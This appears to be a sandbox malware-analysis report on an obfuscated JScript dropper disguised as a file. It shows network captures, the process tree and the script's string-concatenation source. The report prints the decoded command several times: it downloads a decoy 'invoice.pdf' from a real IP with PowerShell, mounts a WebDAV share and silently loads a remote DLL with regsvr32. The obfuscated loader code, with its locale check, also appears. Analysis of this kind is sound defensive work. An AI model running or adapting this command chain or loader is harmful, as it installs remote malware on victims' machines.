Jan 11, 2025 05:22:48.503350019 CET	57264	53	192.168.2.7	1.1.1.1

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Jan 11, 2025 05:22:48.503350019 CET	192.168.2.7	1.1.1.1	0x53cd	Standard query (0)	x1.i.lencr.org	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Jan 11, 2025 05:22:48.509989023 CET	1.1.1.1	192.168.2.7	0x53cd	No error (0)	x1.i.lencr.org	crl.root-x1.letsencrypt.org.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 11, 2025 05:22:49.217169046 CET	1.1.1.1	192.168.2.7	0x358c	No error (0)	edge.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		CNAME (Canonical name)	IN (0x0001)	false
Jan 11, 2025 05:22:49.217169046 CET	1.1.1.1	192.168.2.7	0x358c	No error (0)	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		217.20.57.36	A (IP address)	IN (0x0001)	false
Jan 11, 2025 05:22:49.217169046 CET	1.1.1.1	192.168.2.7	0x358c	No error (0)	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		217.20.57.34	A (IP address)	IN (0x0001)	false
Jan 11, 2025 05:22:49.217169046 CET	1.1.1.1	192.168.2.7	0x358c	No error (0)	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		217.20.57.35	A (IP address)	IN (0x0001)	false
Jan 11, 2025 05:22:49.217169046 CET	1.1.1.1	192.168.2.7	0x358c	No error (0)	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		217.20.57.20	A (IP address)	IN (0x0001)	false
Jan 11, 2025 05:22:49.217169046 CET	1.1.1.1	192.168.2.7	0x358c	No error (0)	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		84.201.210.23	A (IP address)	IN (0x0001)	false
Jan 11, 2025 05:22:49.217169046 CET	1.1.1.1	192.168.2.7	0x358c	No error (0)	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		84.201.210.39	A (IP address)	IN (0x0001)	false
Jan 11, 2025 05:22:49.217169046 CET	1.1.1.1	192.168.2.7	0x358c	No error (0)	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		217.20.57.19	A (IP address)	IN (0x0001)	false
Jan 11, 2025 05:22:49.217169046 CET	1.1.1.1	192.168.2.7	0x358c	No error (0)	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		217.20.57.18	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

193.143.1.205

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.7	49699	193.143.1.205	80	2024	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
Jan 11, 2025 05:22:37.728027105 CET	169	OUT	GET /invoice.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682 Host: 193.143.1.205 Connection: Keep-Alive
Jan 11, 2025 05:22:38.524384022 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.22.1 Date: Sat, 11 Jan 2025 04:22:38 GMT Content-Type: application/pdf Transfer-Encoding: chunked Connection: keep-alive X-Frame-Options: SAMEORIGIN Data Raw: 31 66 36 61 0d 0a 25 50 44 46 2d 31 2e 37 0a 25 bf f7 a2 fe 0a 31 20 30 20 6f 62 6a 0a 3c 3c 20 2f 50 61 67 65 73 20 33 20 30 20 52 20 2f 54 79 70 65 20 2f 43 61 74 61 6c 6f 67 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 32 20 30 20 6f 62 6a 0a 3c 3c 20 2f 54 79 70 65 20 2f 4f 62 6a 53 74 6d 20 2f 4c 65 6e 67 74 68 20 35 36 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4e 20 31 20 2f 46 69 72 73 74 20 34 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 56 30 e0 b2 b1 51 d0 77 ce 2f cd 2b 51 30 54 d0 f7 ce 4c 29 56 88 56 30 51 30 50 08 52 88 55 d0 0f a9 2c 48 55 d0 0f 48 4c 4f 2d 56 b0 b3 e3 02 00 25 30 0c 6d 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 34 20 30 20 6f 62 6a 0a 3c 3c 20 2f 43 6f 6e 74 65 6e 74 73 20 35 20 30 20 52 20 2f 47 72 6f 75 70 20 3c 3c 20 2f 43 53 20 2f 44 65 76 69 63 65 52 47 42 20 2f 49 20 74 72 75 65 20 2f 53 20 2f 54 72 61 6e 73 70 61 72 65 6e 63 79 20 2f 54 79 70 65 20 2f 47 72 6f 75 70 20 3e 3e 20 2f 4d 65 64 69 61 42 6f 78 20 5b 20 30 20 30 20 35 39 34 2e 39 [TRUNCATED] Data Ascii: 1f6a%PDF-1.7%1 0 obj<< /Pages 3 0 R /Type /Catalog >>endobj2 0 obj<< /Type /ObjStm /Length 56 /Filter /FlateDecode /N 1 /First 4 >>streamx3V0Qw/+Q0TL)VV0Q0PRU,HUHLO-V%0mendstreamendobj4 0 obj<< /Contents 5 0 R /Group << /CS /DeviceRGB /I true /S /Transparency /Type /Group >> /MediaBox [ 0 0 594.96 840.96 ] /Parent 3 0 R /Resources 6 0 R /StructParents 0 /Type /Page >>endobj5 0 obj<< /Filter /FlateDecode /Length 75 >>streamx3T0B]C aabgiUeE\ E&@yC:lBWB!P9D~K>W &endstreamendobj6 0 obj<< /ExtGState << /a0 << /CA 1 /ca 1 >> >> /XObject << /x7 7 0 R >> >>endobj7 0 obj<< /BBox [ 0 0 595 841 ] /Filter /FlateDecode /Resources 8 0 R /Subtype /Form /Type /XObject /Length 59 >>streamx+T(O/6PH/*244S0B]HOS04TpBendstreamendobj8 0 obj<< /ExtGState << /a0 << /CA 1 /ca 1 >> /gs0 << /BM /Normal /CA 1.0 /SMask /None /ca 1.0 >> >> /XObject << /x11 9 0 R >> >>endobj9 0 obj<< /BitsPerComponen [TRUNCATED]
Jan 11, 2025 05:22:38.524403095 CET	224	IN	Data Raw: 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 48 65 69 67 68 74 20 33 35 30 34 20 2f 49 6e 74 65 72 70 6f 6c 61 74 65 20 74 72 75 65 20 2f 53 75 62 74 79 70 65 20 2f 49 6d 61 67 65 20 2f 54 79 70 65 20 2f 58 4f 62 6a 65 63 74 20 2f 57 69 64 74 68 Data Ascii: /FlateDecode /Height 3504 /Interpolate true /Subtype /Image /Type /XObject /Width 2479 /Length 634286 >>streamxs-oYfQf\|H *Q$oeVUC;"/
Jan 11, 2025 05:22:38.524421930 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Jan 11, 2025 05:22:38.524435997 CET	1236	IN	Data Raw: 3b 85 a9 6f 3f 00 00 00 00 00 00 00 00 00 1b 34 75 8a c1 d4 ca 25 f4 d1 96 d0 79 06 bd 9d 3d 6e a2 c7 a0 8a ce 93 68 1a 11 a5 87 ee 9e a9 6f 42 00 00 00 00 00 00 00 00 00 1b 31 75 84 c1 d4 6a 4a 68 1a ed 74 19 f4 f1 66 f6 b8 8e 1e 37 8f a9 8a 56 Data Ascii: ;o?4u%y=nhoB1ujJhtf7VOY;oE7uGv+j Tg~:{oEk6u~%f vA.q<pDtCtC'0`&K]%3h}
Jan 11, 2025 05:22:38.524447918 CET	1236	IN	Data Raw: 14 ec a4 70 2c f4 e3 60 47 ae 3e 30 74 b0 23 f7 a4 d9 91 db 8d 85 7e 68 c7 42 df 76 db 71 df bc ba 78 fd f2 e2 f5 8b 8b 57 2f 9a ff 6c 7a e8 cb ae 87 a6 65 b9 fa e4 50 bb 29 f7 e6 69 b0 29 f7 b1 1b 0e 25 86 4e 6a ea 9b 13 00 00 c0 34 f8 62 09 00 Data Ascii: p,`G>0t#~hBvqxW/lzeP)i)%Nj4b/FcvQOt`{psBjK_~1DmM[9L/l4`U*;rfAnWB_)^oCeSC;i4b/FcvO
Jan 11, 2025 05:22:38.524458885 CET	672	IN	Data Raw: b5 ad f8 d4 ad f1 fa 27 f9 4d b7 ff 84 00 40 a5 55 6e 65 f8 9c 7c 32 31 34 3c 30 54 c7 d0 eb 26 86 5e a6 18 7a 3a 8c a1 ef 5d 0c 7d de c7 d0 67 5d 09 0d 62 e8 eb 26 86 ee a5 18 ba 3f 8f a1 e7 26 86 de 3e dd df 35 31 f4 c1 c5 50 8e 0d dd ae a9 6f Data Ascii: 'M@Une\|214<0T&^z:]}g]b&?&>51PoN%,.[nmk-_BW?]\r}B`Qa8zs&711bC%21gm\|c#1t*SKvk>~}h]
Jan 11, 2025 05:22:38.524470091 CET	1236	IN	Data Raw: eb 6a 16 35 77 f8 85 2e a3 5c 79 9e c6 2c 5a 88 2a ff 11 96 7b 72 2a e3 d4 ba 2e a3 f2 c2 d6 72 55 4b 5f d2 7a af 6d a1 a7 6b 13 9f 29 85 3f cb 1a 9f ab dc ef b2 c4 4b b9 e2 73 b8 d0 33 b0 e9 2b 59 fb eb 98 fb 83 2c fa 6c d4 2b bf 73 16 bd 8c e5 Data Ascii: j5w.\y,Z{r.rUK_zmk)?Ks3+Y,l+sC}H>6QJ&yyp8TPCb)^zPoN%5B__l>&*E&T,q51-OU/ik//+/l-&?HrOxm-W
Jan 11, 2025 05:22:38.524482012 CET	1236	IN	Data Raw: 31 f4 b8 8b a1 07 71 0c ed 87 43 ed e3 f2 8d da 91 db c4 d0 77 c3 18 7a 78 2b 31 f4 e2 bc 8f a1 d7 2a 86 de 13 43 27 34 f5 cd 09 00 00 60 1a 7c b1 04 00 d3 f2 b7 dc f0 fb f3 e1 77 e6 1f f2 ca df a8 cf 35 82 dc 65 f8 2b c9 75 1f dd 7a 74 f4 bc aa Data Ascii: 1qCwzx+1*C'4`\|w5e+uztc"BI4T&D].N-zU>$ZY+<iFV;FKVMz\P^MD]_Xp/3qywlL_EbvK+}nmcy==b&
Jan 11, 2025 05:22:38.524493933 CET	1236	IN	Data Raw: f1 85 39 c6 2b c4 29 73 55 85 6a e6 63 b1 a9 66 8b 56 da 72 d7 33 af af be 3c 7f 85 be e8 e5 72 5e fd 44 a1 f9 1c a9 29 68 3e 63 5d 47 6a 7e 6c 40 7f a6 98 67 ac 10 8e 73 9f 0e 85 9f 07 90 9f 04 30 6f 7b ff e2 ea a6 1c be e5 f4 27 82 b9 b6 d5 5f Data Ascii: 9+)sUjcfVr3<r^D)h>c]Gj~l@gs0o{'_M1w/bxvMoHfK0UZv]LmBARrq5/X{Cz~bhlhcC?cC?u0X-37X_[;~Ii/MzJ*>)kz{~YjR
Jan 11, 2025 05:22:38.524506092 CET	1236	IN	Data Raw: 86 d6 94 d0 d1 93 25 6b ce b8 cc f5 50 2f ec 14 66 23 a8 29 a1 29 fd 48 06 4d 0d f4 d9 b3 67 bf ff fe fb 6f ad 5f 23 b3 bf ff 7b 6b f6 2b 4d 12 95 11 d1 b0 c5 98 24 aa 4f f7 f3 4f 97 89 7a 7a 73 ef ab 48 98 a8 fc 61 a6 e1 e6 5e ad 1c a7 72 ed 2c Data Ascii: %kP/f#))HMgo_#{k+M$OOzzsHa^r,Y,,WUB5{i_}zqZKd/AX%a;6%4=]\?Vbm^M~gOIM_W;C3Uvj;,C:6<^_7wcICo$
Jan 11, 2025 05:22:38.529417038 CET	1236	IN	Data Raw: f9 a9 3d 9d 84 46 7b a8 d9 dc 6b 76 f6 e6 4a a8 99 22 4c bf 7b 78 55 29 57 f9 ec 58 ee a1 7e 90 b0 3c 45 28 ed 2c dc 7b 6c ae 50 9e 2b 5d f4 74 41 33 17 56 1e 27 f4 bb 55 cb 25 54 bf 2d c3 92 65 7e 6c 40 ff c0 80 19 a0 0e 37 d0 96 07 69 0b 9f 08 Data Ascii: =F{kvJ"L{xU)WX~<E(,{lP+]tA3V'U%T-e~l@7iG/ZU~#zF[_?sc9S`Bf=4x\]fS-=Pb.aM10C~1X\M86ts9L/`f,4;RB

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.7	49700	193.143.1.205	8888	484	C:\Windows\System32\net.exe

Timestamp	Bytes transferred	Direction	Data
Jan 11, 2025 05:22:40.491070032 CET	107	OUT	OPTIONS / HTTP/1.1 Connection: Keep-Alive User-Agent: DavClnt translate: f Host: 193.143.1.205:8888
Jan 11, 2025 05:22:41.317244053 CET	237	IN	HTTP/1.1 500 Internal Server Error Server: nginx/1.22.1 Date: Sat, 11 Jan 2025 04:22:41 GMT Content-Type: text/plain; charset=utf-8 Content-Length: 22 Connection: keep-alive X-Content-Type-Options: nosniff Data Raw: 49 6e 74 65 72 6e 61 6c 20 73 65 72 76 65 72 20 65 72 72 6f 72 0a Data Ascii: Internal server error

Target ID:	0
Start time:	23:22:34
Start date:	10/01/2025
Path:	C:\Windows\System32\wscript.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1731726859230921847.js"
Imagebase:	0x7ff76be80000
File size:	170'496 bytes
MD5 hash:	A47CBE969EA935BDD3AB568BB126BC80
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	23:22:34
Start date:	10/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\26083103874952.dll
Imagebase:	0x7ff7d8e80000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	23:22:34
Start date:	10/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff75da10000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	23:22:35
Start date:	10/01/2025
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Imagebase:	0x7ff741d30000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	10
Start time:	23:22:39
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user~1\AppData\Local\Temp\invoice.pdf"
Imagebase:	0x7ff702560000
File size:	5'641'176 bytes
MD5 hash:	24EAD1C46A47022347DC0F05F6EFBB8C
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	11
Start time:	23:22:39
Start date:	10/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	cmd /c net use \\193.143.1.205@8888\davwwwroot\
Imagebase:	0x7ff7d8e80000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	12
Start time:	23:22:39
Start date:	10/01/2025
Path:	C:\Windows\System32\net.exe
Wow64 process (32bit):	false
Commandline:	net use \\193.143.1.205@8888\davwwwroot\
Imagebase:	0x7ff74ef60000
File size:	59'904 bytes
MD5 hash:	0BD94A338EEA5A4E1F2830AE326E6D19
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	14
Start time:	23:22:40
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Imagebase:	0x7ff6c3ff0000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	15
Start time:	23:22:40
Start date:	10/01/2025
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Imagebase:	0x7ff7b4ee0000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	16
Start time:	23:22:40
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2100 --field-trial-handle=1600,i,3264500123192163859,9823756888314891952,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Imagebase:	0x7ff6c3ff0000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

JavaScript Code

Call Graph

Executed
Not Executed

Script:

Code
0	function fzxaopmgj() {	fzxaopmgj() ➔ undefined
1	hsift = [ 1031, 3079, 5127, 4103, 2055, 3072 ];
2	var wpswpztfy = this[kzgvg + esngolfje + ksssmtyz + feljk + bobaji + ktmau + cyoeytfy + usjbiury] ( this[wcdperee + qkuborffo + latjxxw + ksssmtyz + rlyfcx + kzgvg + usjbiury][ferqh + ksssmtyz + bobaji + esngolfje + usjbiury + bobaji + qcvbh + ichdld + tdsysgnp + bobaji + latjxxw + usjbiury] ( wcdperee + qkuborffo + latjxxw + ksssmtyz + rlyfcx + kzgvg + usjbiury + hdfyelgho + qkuborffo + mmbrpr + bobaji + puxzb + puxzb ) [erqyeq + bobaji + avfwerb + erqyeq + bobaji + esngolfje + uvocmar] ( cptwkqog + fqfuvztda + dvqocaz + aqybubfd + zppayhbx + ferqh + nzburo + erqyeq + erqyeq + dvqocaz + amofhj + hpxoqtv + zppayhbx + nzburo + qkuborffo + dvqocaz + erqyeq + fzbcinf + ferqh + xcvrwvcln + cyoeytfy + usjbiury + ksssmtyz + xcvrwvcln + puxzb + pnlxd + kpcwtq + esngolfje + cyoeytfy + bobaji + puxzb + fzbcinf + ktmau + cyoeytfy + usjbiury + bobaji + ksssmtyz + cyoeytfy + esngolfje + usjbiury + rlyfcx + xcvrwvcln + cyoeytfy + esngolfje + puxzb + fzbcinf + qqvjzrr + xcvrwvcln + latjxxw + esngolfje + puxzb + bobaji ), 16 );	Windows Script Host.CreateObject("WScript.Shell") ➔ RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale") ➔ "00000C00" parseInt("00000C00",16) ➔ 3072
3	for ( nyubi = 0 ; nyubi < hsift[puxzb + bobaji + cyoeytfy + avfwerb + usjbiury + mmbrpr] ; ++ nyubi )
4	{
5	if ( wpswpztfy == hsift[nyubi] )
6	{
7	wpswpztfy = true;
8	break ;
9	}
10	}
11	if ( wpswpztfy !== true )
12	this[wcdperee + qkuborffo + latjxxw + ksssmtyz + rlyfcx + kzgvg + usjbiury][kpemswpix + jrhkxgc + rlyfcx + usjbiury] ( );
13	this[wcdperee + qkuborffo + latjxxw + ksssmtyz + rlyfcx + kzgvg + usjbiury][ferqh + ksssmtyz + bobaji + esngolfje + usjbiury + bobaji + qcvbh + ichdld + tdsysgnp + bobaji + latjxxw + usjbiury] ( wcdperee + qkuborffo + latjxxw + ksssmtyz + rlyfcx + kzgvg + usjbiury + hdfyelgho + qkuborffo + mmbrpr + bobaji + puxzb + puxzb ) [ksssmtyz + jrhkxgc + cyoeytfy] ( latjxxw + fnctna + uvocmar + pnlxd + dtrdjfbd + latjxxw + pnlxd + kzgvg + xcvrwvcln + ubjzidh + bobaji + ksssmtyz + feljk + mmbrpr + bobaji + puxzb + puxzb + hdfyelgho + bobaji + grygqrbht + bobaji + pnlxd + mcamvbc + ferqh + xcvrwvcln + fnctna + fnctna + esngolfje + cyoeytfy + uvocmar + pnlxd + ioaypdj + ktmau + cyoeytfy + gcxtqup + xcvrwvcln + kfqtmp + bobaji + mcamvbc + wcdperee + bobaji + ichdld + erqyeq + bobaji + szxke + jrhkxgc + bobaji + feljk + usjbiury + pnlxd + mcamvbc + qcvbh + jrhkxgc + usjbiury + xthasu + rlyfcx + puxzb + bobaji + pnlxd + izlefwfyk + usjbiury + bobaji + fnctna + kzgvg + izlefwfyk + fzbcinf + rlyfcx + cyoeytfy + gcxtqup + xcvrwvcln + rlyfcx + latjxxw + bobaji + hdfyelgho + kzgvg + uvocmar + ttuqh + pnlxd + mmbrpr + usjbiury + usjbiury + kzgvg + okqayp + dtrdjfbd + dtrdjfbd + vkajmgw + vpnszk + pjmvlehl + hdfyelgho + vkajmgw + cmdgvvia + pjmvlehl + hdfyelgho + vkajmgw + hdfyelgho + wdpkjr + ckhohhwq + zvhdvhpa + dtrdjfbd + rlyfcx + cyoeytfy + gcxtqup + xcvrwvcln + rlyfcx + latjxxw + bobaji + hdfyelgho + kzgvg + mmbrpr + kzgvg + ioaypdj + zccjriq + zccjriq + feljk + usjbiury + esngolfje + ksssmtyz + usjbiury + pnlxd + izlefwfyk + usjbiury + bobaji + fnctna + kzgvg + izlefwfyk + fzbcinf + rlyfcx + cyoeytfy + gcxtqup + xcvrwvcln + rlyfcx + latjxxw + bobaji + hdfyelgho + kzgvg + uvocmar + ttuqh + zccjriq + zccjriq + latjxxw + fnctna + uvocmar + pnlxd + dtrdjfbd + latjxxw + pnlxd + cyoeytfy + bobaji + usjbiury + pnlxd + jrhkxgc + feljk + bobaji + pnlxd + fzbcinf + fzbcinf + vkajmgw + vpnszk + pjmvlehl + hdfyelgho + vkajmgw + cmdgvvia + pjmvlehl + hdfyelgho + vkajmgw + hdfyelgho + wdpkjr + ckhohhwq + zvhdvhpa + yuqsataam + iqernx + iqernx + iqernx + iqernx + fzbcinf + uvocmar + esngolfje + gcxtqup + ubjzidh + ubjzidh + ubjzidh + ksssmtyz + xcvrwvcln + xcvrwvcln + usjbiury + fzbcinf + zccjriq + zccjriq + latjxxw + fnctna + uvocmar + pnlxd + dtrdjfbd + latjxxw + pnlxd + ksssmtyz + bobaji + avfwerb + feljk + gcxtqup + ksssmtyz + pjmvlehl + wdpkjr + pnlxd + dtrdjfbd + feljk + pnlxd + fzbcinf + fzbcinf + vkajmgw + vpnszk + pjmvlehl + hdfyelgho + vkajmgw + cmdgvvia + pjmvlehl + hdfyelgho + vkajmgw + hdfyelgho + wdpkjr + ckhohhwq + zvhdvhpa + yuqsataam + iqernx + iqernx + iqernx + iqernx + fzbcinf + uvocmar + esngolfje + gcxtqup + ubjzidh + ubjzidh + ubjzidh + ksssmtyz + xcvrwvcln + xcvrwvcln + usjbiury + fzbcinf + wdpkjr + jiccfksfb + ckhohhwq + iqernx + pjmvlehl + vkajmgw + ckhohhwq + pjmvlehl + iqernx + oyetj + cmdgvvia + vpnszk + zvhdvhpa + wdpkjr + hdfyelgho + uvocmar + puxzb + puxzb, 0, false );	Windows Script Host.CreateObject("WScript.Shell") ➔ run("cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\invoice.pdf http://193.143.1.205/invoice.php"&&start %temp%\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\26083103874952.dll",0,false) ➔ 0
14	}
15	ioaypdj = "s";
16	ioaypdj = "I";
17	ioaypdj = "J";
18	ioaypdj = "h";
19	ioaypdj = "l";
20	ioaypdj = "a";
21	ioaypdj = "M";
22	ioaypdj = "a";
23	ioaypdj = "X";
24	ioaypdj = "n";
25	ioaypdj = "D";
26	ioaypdj = "L";
27	ioaypdj = "B";
28	ioaypdj = "B";
29	ioaypdj = "w";
30	ioaypdj = "R";
31	ioaypdj = "b";
32	ioaypdj = "z";
33	ioaypdj = "h";
34	ioaypdj = "\"";
35	dtrdjfbd = "M";
36	dtrdjfbd = "e";
37	dtrdjfbd = "x";
38	dtrdjfbd = "r";
39	dtrdjfbd = "o";
40	dtrdjfbd = "v";
41	dtrdjfbd = "b";
42	dtrdjfbd = "n";
43	dtrdjfbd = "F";
44	dtrdjfbd = "A";
45	dtrdjfbd = "O";
46	dtrdjfbd = "L";
47	dtrdjfbd = "A";
48	dtrdjfbd = "H";
49	dtrdjfbd = "O";
50	dtrdjfbd = "L";
51	dtrdjfbd = "x";
52	dtrdjfbd = "N";
53	dtrdjfbd = "d";
54	dtrdjfbd = "a";
55	dtrdjfbd = "J";
56	dtrdjfbd = "z";
57	dtrdjfbd = "S";
58	dtrdjfbd = "y";
59	dtrdjfbd = "t";
60	dtrdjfbd = "U";
61	dtrdjfbd = "g";
62	dtrdjfbd = "o";
63	dtrdjfbd = "g";
64	dtrdjfbd = "j";
65	dtrdjfbd = "G";
66	dtrdjfbd = "R";
67	dtrdjfbd = "B";
68	dtrdjfbd = "I";
69	dtrdjfbd = "X";
70	dtrdjfbd = "/";
71	vkajmgw = "I";
72	vkajmgw = "W";
73	vkajmgw = "l";
74	vkajmgw = "c";
75	vkajmgw = "n";
76	vkajmgw = "R";
77	vkajmgw = "B";
78	vkajmgw = "L";
79	vkajmgw = "l";
80	vkajmgw = "i";
81	vkajmgw = "l";
82	vkajmgw = "L";
83	vkajmgw = "A";
84	vkajmgw = "a";
85	vkajmgw = "s";
86	vkajmgw = "T";
87	vkajmgw = "a";
88	vkajmgw = "C";
89	vkajmgw = "n";
90	vkajmgw = "E";
91	vkajmgw = "k";
92	vkajmgw = "W";
93	vkajmgw = "M";
94	vkajmgw = "n";
95	vkajmgw = "o";
96	vkajmgw = "i";
97	vkajmgw = "K";
98	vkajmgw = "f";
99	vkajmgw = "z";
100	vkajmgw = "K";
101	vkajmgw = "R";
102	vkajmgw = "m";
103	vkajmgw = "C";
104	vkajmgw = "N";
105	vkajmgw = "r";
106	vkajmgw = "q";
107	vkajmgw = "H";
108	vkajmgw = "f";
109	vkajmgw = "p";
110	vkajmgw = "u";
111	vkajmgw = "N";
112	vkajmgw = "m";
113	vkajmgw = "U";
114	vkajmgw = "W";
115	vkajmgw = "1";
116	pjmvlehl = "O";
117	pjmvlehl = "n";
118	pjmvlehl = "D";
119	pjmvlehl = "P";
120	pjmvlehl = "o";
121	pjmvlehl = "P";
122	pjmvlehl = "g";
123	pjmvlehl = "T";
124	pjmvlehl = "C";
125	pjmvlehl = "x";
126	pjmvlehl = "w";
127	pjmvlehl = "g";
128	pjmvlehl = "Z";
129	pjmvlehl = "Y";
130	pjmvlehl = "T";
131	pjmvlehl = "M";
132	pjmvlehl = "y";
133	pjmvlehl = "v";
134	pjmvlehl = "x";
135	pjmvlehl = "d";
136	pjmvlehl = "H";
137	pjmvlehl = "E";
138	pjmvlehl = "A";
139	pjmvlehl = "L";
140	pjmvlehl = "P";
141	pjmvlehl = "m";
142	pjmvlehl = "p";
143	pjmvlehl = "K";
144	pjmvlehl = "3";
145	fnctna = "u";
146	fnctna = "s";
147	fnctna = "v";
148	fnctna = "e";
149	fnctna = "m";
150	ksssmtyz = "P";
151	ksssmtyz = "V";
152	ksssmtyz = "y";
153	ksssmtyz = "d";
154	ksssmtyz = "R";
155	ksssmtyz = "h";
156	ksssmtyz = "V";
157	ksssmtyz = "r";
158	gcxtqup = "H";
159	gcxtqup = "F";
160	gcxtqup = "x";
161	gcxtqup = "H";
162	gcxtqup = "L";
163	gcxtqup = "k";
164	gcxtqup = "Q";
165	gcxtqup = "q";
166	gcxtqup = "e";
167	gcxtqup = "W";
